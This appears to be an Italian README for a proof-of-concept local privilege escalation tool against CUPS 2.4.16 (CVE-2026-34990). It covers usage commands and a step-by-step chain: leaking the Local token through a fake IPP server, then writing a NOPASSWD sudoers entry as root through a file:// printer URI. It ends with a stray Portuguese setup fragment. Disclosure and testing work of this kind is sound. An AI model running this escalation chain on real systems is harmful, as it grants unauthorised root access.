
CUPS 2.4.16 Escalatione Locale dei Privilegi tramite Perdita del Token di Amministratore Locale e Scrittura Arbitraria di File tramite file:// (CVE-2026-34990)
CUPS 2.4.16 contiene una vulnerabilità di escalation locale di privilegi (identificata anche come GHSA-c54j-2vqw-wpwp).
Socket scrivibile da tutti — /run/cups/cups.sock è scrivibile da tutti,
consentendo a qualsiasi utente locale di inviare richieste IPP al demone CUPS
(in esecuzione come root).
Fuga di token locale — CUPS-Create-Local-Printer può essere sfruttato per
far trapelare il token di autorizzazione Local puntando device-uri verso un
server IPP controllato dall'attaccante.
Scrittura arbitraria di file — Con il token sottratto, un attaccante può creare
una stampante con device-uri=file:///etc/sudoers.d/<user>, causando la scrittura
da parte di CUPS (come root) di contenuto arbitrario in qualsiasi percorso del disco.
# Basic usage
python3 cups_pwn.py --user lowpriv
# Custom sudoers path
python3 cups_pwn.py --user lowpriv --sudoers /etc/sudoers.d/custom
# After success
sudo -i
🧠 Come Funziona
text
┌─────────────────────────────────────────────────────────────────┐
│ 1. Start fake IPP server on 127.0.0.1:9189 │
│ 2. Send CUPS-Create-Local-Printer with device-uri=ipp://... │
│ 3. CUPS connects to our fake server → sends Local token │
│ 4. Extract the token │
│ 5. Create printer with device-uri=file:///etc/sudoers.d/... │
│ 6. Print gzip payload with "user ALL=(ALL) NOPASSWD: ALL" │
│ 7. CUPS writes the payload as root │
│ 8. sudo -n id → root │
└─────────────────────────────────────────────────────────────────┘
🛡️ Disclaimer
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati
e scopi educativi. Non utilizzarlo contro sistemi di cui non si è proprietari
o per i quali non si dispone di esplicita autorizzazione al test. L'autore non
è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
📚 Riferimenti
GHSA-c54j-2vqw-wpwp
CVE-2026-34990
CUPS Security Advisories
📄 Licenza
MIT — vedi il file LICENSE.
text
### Ficheiro 3: `LICENSE`
```bash
nano LICENSE